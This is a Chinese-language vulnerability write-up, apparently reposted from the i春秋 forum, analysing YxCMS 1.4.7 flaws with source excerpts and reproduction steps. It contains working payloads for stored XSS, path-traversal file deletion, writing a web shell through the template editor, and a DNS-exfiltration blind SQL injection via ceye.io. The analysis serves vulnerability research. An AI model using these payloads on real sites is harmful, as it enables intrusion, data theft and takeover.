i春秋作家:F0rmat

原文来自:YxCMS 1.4.7 最新版漏洞分析

0x01前言

很感谢关注我专辑的表哥,我会坚持写下去的,最近会慢一点,一月四篇是正常的。

在先知看到的,大部分都是后台漏洞,部分厂商对于后台的漏洞都不认可,因为厂商觉得能进入后台这些漏洞都不是漏洞。最恐怖的是厂商否认了漏洞存在,然后偷偷的去修复。

0x02 安装程序

具体的安装和使用的详细可以上官网查看https://www.kancloud.cn/yongheng/yxcms

0x03 前台XSS

1.漏洞复现

  • 打开链接http://sb.com/index.php?r=default/column/index&col=guestbook
    输入payload:<svg/onload=alert(1)>
  • 然后登陆后台,查看审核

    点击编辑

    2.漏洞分析

  • 前台的文件源码protected/apps/default/controller/columnController.php

    public function index()
    {
        $ename=in($_GET['col']);
        if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
        $sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
        $path=$sortinfo['path'].','.$sortinfo['id'];
        $deep=$sortinfo['deep']+1;
        $this->col=$ename;
        switch ($sortinfo['type']) {
            case 1://文章
                $this->newslist($sortinfo,$path,$deep);
                break;
            case 2://图集
                $this->photolist($sortinfo,$path,$deep);
                break;
            case 3://单页
                $this->page($sortinfo,$path,$deep);
                break;
            case 4://应用             break;
            case 5://自定义             break;
            case 6://表单
                $this->extend($sortinfo,$path,$deep);
                break;
            default:
                throw new Exception('未知的栏目类型~', 404);
                break;
        }
    }   

  • 后台的文件源码protected/apps/admin/controller/extendfieldController.php
    public function mesedit()
    {
        $tableid=intval($_GET['tabid']);
        if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
        $id=intval($_GET['id']);//信息id
        if(empty($tableid) || empty($id) ) $this->error('参数错误~');
        $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
        if(empty($tableinfo)) $this->error('自定义表不存在~');
        if (!$this->isPost()) {
           $info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
           $this->info=$info;
           $this->tableid=$tableid;
           $this->id=$id;
           $this->tableinfo=$tableinfo;
           $this->display();
        }else{
           for($i=1;$i<count($tableinfo);$i++){
            if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
              $data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
            else
              $data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
           }
           if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
           else $this->error('信息修改失败~');
         }
    }

    中间没什么过滤,具体可以看松哥的一篇文章:https://www.hackersb.cn/hacker/85.html

    0x04 任意文件删除

    1.漏洞复现

  • 需要先登录后台,然后访问之后会显示缩略图不存在:
    Payload:http://sb.com/index.php?r=admin/photo/delpic
    POST:picname=../../protected/apps/install/install.lock
  • 然后访问网站首页就会自动转到安装的页面http://sb.com/index.php
  • 看到目录下的install.lock文件已经被删除了

    2.漏洞分析

  • 漏洞文件:protected/apps/admin/controller/photoController.php,在第355行的delpic()函数,可以看到$picname接收POST过来的值,然后$path等于文件开头定义的静态变量
    static protected $uploadpath='';//图片上传路径
    没有对传入的值进行任何的过滤,使用函数file_exists()判断一下文件是否存在就给unlink执行删除文件了。
    public function delpic()
    {
        if(empty($_POST['picname'])) $this->error('参数错误~');
        $picname=$_POST['picname'];
        $path=$this->uploadpath;
        if(file_exists($path.$picname))
          @unlink($path.$picname);
        else{echo '图片不存在~';return;}
        if(file_exists($path.'thumb_'.$picname))
           @unlink($path.'thumb_'.$picname);
        else {echo '缩略图不存在~';return;}
        echo '原图以及缩略图删除成功~';
    }

0x05 任意文件写入

1.漏洞复现

    • 打开地址http://sb.com/index.php?r=admin/set/tpadd&Mname=default
    • 打开我们的文件监控软件FolderChangesView,输入我们的程序路径D:\phpStudy\PHPTutorial\WWW\YXcms
    • 然后写shell.php文件名,写入我们的代码。
    • 然后会在\protected\apps\default\view\default下面生成我们写入的文件。

      2.漏洞分析

    • 漏洞文件protected/apps/admin/controller/setController.php的140行,$tpfile接收到GET传过来的值,如果为空的话就会报非法操作。传过来的URL是admin/set/tpadd&Mname=default,所以$tpfile就是default
    • 再来下是检测是否有POST的值,接受到POST过来的filename,用trim去掉两边的空格。接收到POST过来的code,用stripcslashes反转义。
    • $filepath=$templepath.$filename.'.php'这一句是路径和文件的拼接,然后下面检测路径是否存在。
    • 最后没有过滤任何的危险函数就传给file_put_contents函数,写入网站的目录。

      public function tpadd()
      {
         $tpfile=$_GET['Mname'];
         if(empty($tpfile)) $this->error('非法操作~');
         $templepath=BASE_PATH . $this->tpath.$tpfile.'/';
         if($this->isPost()){
           $filename=trim($_POST['filename']);
           $code=stripcslashes($_POST['code']);
           if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
           $filepath=$templepath.$filename.'.php';
           if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
           try{
              file_put_contents($filepath, $code);
            } catch(Exception $e) {
              $this->error('模板文件创建失败!');
            }
            $this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));
         }else{
           $this->tpfile=$tpfile;
           $this->display();    }
      }

      0x06 SQL注入

      1.漏洞复现

      这个盲注可以用ceye.io和python脚本跑,我之前的文章也有写到。
      http://sb.com/index.php?r=admin/fragment/index
      payload:1 and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1))--

    • 点击删除

      然后用burp截获数据,修改内容加上我们的payload,用原文的payload后面+会报错

      然后进入http://ceye.io/records/dns 查看我们的数据

      2.漏洞分析

    • 查看漏洞文件protected/apps/admin/controller/fragmentController.php的第63行
      public function del()
      {
          if(!$this->isPost()){
              $id=intval($_GET['id']);
              if(empty($id)) $this->error('您没有选择~');
              if(model('fragment')->delete("id='$id'"))
              echo 1;
              else echo '删除失败~';
          }else{
              if(empty($_POST['delid'])) $this->error('您没有选择~');
              $delid=implode(',',$_POST['delid']);
              if(model('fragment')->delete('id in ('.$delid.')'))
              $this->success('删除成功',url('fragment/index'));
          }
      }

    • 我们跟if(model('fragment')->delete("id='$id'")),它会先到protected/core.php文件里面的model
      function model($model){
      static $objArray = array();
      $className = $model . 'Model';
      if( !is_object($objArray[$className]) ){
          if( !class_exists($className) ) {
              throw new Exception(config('_APP_NAME'). '/' . $className . '.php 模型类不存在');
          }
          $objArray[$className] = new $className();
      }
      return $objArray[$className];
      }

    • 然后到protected/apps/admin/model/fragmentModel.php
      <?php
      class fragmentModel extends baseModel{
      protected $table = 'fragment';
      }

    • 继续protected/base/model/baseModel.php
      <?php
      class baseModel extends model{
      protected $prefix='';
      public function __construct( $database= 'DB',$force = false ){
          parent::__construct();
          $this->prefix=config('DB_PREFIX');
      }
      }

    • 再来到最底层的数据库操作类protected/base/model/model.php的第45行
      public function delete($condition){
      return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
      }

      这个delete()是从哪里来的,我们来看第十三行的代码,创建了一个对象cpModel

      static public function connect($config, $force=false){
          static $model = NULL;
          if( $force==true || empty($model) ){
              $model = new cpModel($config);
          }
          return $model;
      }

    • 漏洞文件在protected/include/core/cpModel.class.php,

      public function delete() {
          $table = $this->options['table'];    //当前表
          $where = $this->_parseCondition();   //条件
          if ( empty($where) ) return false; //删除条件为空时,则返回false,避免数据不小心被全部删除     $this->sql = "DELETE FROM $table $where";
          $query = $this->db->execute($this->sql);
          return $this->db->affectedRows();
      }

      这里用到了一个方法_parseCondition()

      private function _parseCondition() {
          $condition = $this->db->parseCondition($this->options);
          $this->options['where'] = '';
          $this->options['group'] = '';
          $this->options['having'] = '';
          $this->options['order'] = '';
          $this->options['limit'] = '';
          $this->options['field'] = '*';      
          return $condition;      
      }
      }

      这个函数是在protected/include/core/db/cpMysql.class.php的128行

      public function parseCondition($options) {
          $condition = "";
          if(!empty($options['where'])) {
              $condition = " WHERE ";
              if(is_string($options['where'])) {
                  $condition .= $options['where'];
              } else if(is_array($options['where'])) {
                      foreach($options['where'] as $key => $value) {
                           $condition .= " `$key` = " . $this->escape($value) . " AND ";
                      }
                      $condition = substr($condition, 0,-4);  
              } else {
                  $condition = "";
              }
          }     if( !empty($options['group']) && is_string($options['group']) ) {
              $condition .= " GROUP BY " . $options['group'];
          }
          if( !empty($options['having']) && is_string($options['having']) ) {
              $condition .= " HAVING " .  $options['having'];
          }
          if( !empty($options['order']) && is_string($options['order']) ) {
              $condition .= " ORDER BY " .  $options['order'];
          }
          if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
              $condition .= " LIMIT " .  $options['limit'];
          }
          if( empty($condition) ) return "";
          return $condition;
      }

      里面有一个行数来过滤escape,我们找到74行的这个函数定义

      public function escape($value) {
          if( isset($this->_readLink) ) {
              $link = $this->_readLink;
          } elseif( isset($this->_writeLink) ) {
              $link = $this->_writeLink;
          } else {
              $link = $this->_getReadLink();
          }     if( is_array($value) ) {
             return array_map(array($this, 'escape'), $value);
          } else {
             if( get_magic_quotes_gpc() ) {
                 $value = stripslashes($value);
             }
              return  "'" . mysql_real_escape_string($value, $link) . "'";
          }
      }

      不过这个函数有一句is_array如果是数组才会执行下面的过滤,如果不是的话就正常执行下去,没有任何sql的过滤就造成了注入漏洞。

      0x07 参考

      程序下载:https://www.lanzous.com/i1w4bsb
      https://xz.aliyun.com/t/2734
      https://bbs.ichunqiu.com/thread-22002-1-1.html
      http://ceye.io

    • 大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~

YxCMS 1.4.7 最新版漏洞分析的更多相关文章

  1. 「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

    这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能. 注:篇幅较长,阅读用时约7分钟. YXcms是 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. ECShop全系列版本远程代码执行高危漏洞分析+实战提权

    漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...

  4. Zabbix 漏洞分析

    之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...

  5. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  6. CVE-2016-0143 漏洞分析(2016.4)

    CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...

  7. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  8. CVE-2014-4115漏洞分析(2014.11)

    CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...

  9. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

随机推荐

  1. Git那些事儿

    Git是目前世界上最先进的分布式版本控制系统,适合多人协作开发的大型项目.我平常也经常使用git,来管理自己的几个小项目.简单说说git的原理和git的特点!(只有知道了一个工具的运行原理,设计思路, ...

  2. npm与cnpm的install无反应

    问题描述 1.npm -v检查版本正常,npm install安装依赖提示超时 2.cnpm -v检查版本正常,cnpm install安装依赖无反应(输入命令后没有任何提示,一直卡在那) 解决(参考 ...

  3. git常用方法

    一.创建项目 git clone xx.git         克隆项目到本地 git init                     初始化本地项目,生成.git文件 二.创建分支,推送分支,合并 ...

  4. mysql关闭groupby模式

    Mysql5.7 出现 SELECT list is not in GROUP BY clause and contains nonaggregated column ‘sss.month_id’ w ...

  5. Qt跨平台开发Wince5.0和Android程序

    所谓跨平台是指维护一份代码,可编译出多平台的应用程序.Qt这方面虽然已经做的不错,但性能还是体验,和原生开发工具开发的程序相比,差距还是不小的.但单从生产应用的角度来说,可以采用,不失为一种好的解决方 ...

  6. centos 7 安装vscode

    网上很多写的安装,会遇到一个问题,就是无法启动: sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc sudo sh ...

  7. HTML5-盒子的使用

    一. border-color border-width border-style 属性用法遵循顺时针顺序. border-top- border-left- border-bottom- borde ...

  8. HTML-CSS背景渐进色

    一.分类 a>线性渐变:颜色沿着一条直线过度:从 左到右.从上到下等: b>径向渐变:圆形或椭圆形渐变,颜色不再沿着一条直线变化,而是从一个起点朝所有方向混合. 1.线性渐变语法: bac ...

  9. 部落划分Group[JSOI2010]

    --BZOJ1821 Description 聪聪研究发现,荒岛野人总是过着群居的生活,但是,并不是整个荒岛上的所有野人都属于同一个部落,野人们总是拉帮结派形成属于自己的部落,不同的部落之间则经常发生 ...

  10. java 日志体系(三)log4j从入门到详解

    java 日志体系(三)log4j从入门到详解 一.Log4j 简介 在应用程序中添加日志记录总的来说基于三个目的: 监视代码中变量的变化情况,周期性的记录到文件中供其他应用进行统计分析工作: 跟踪代 ...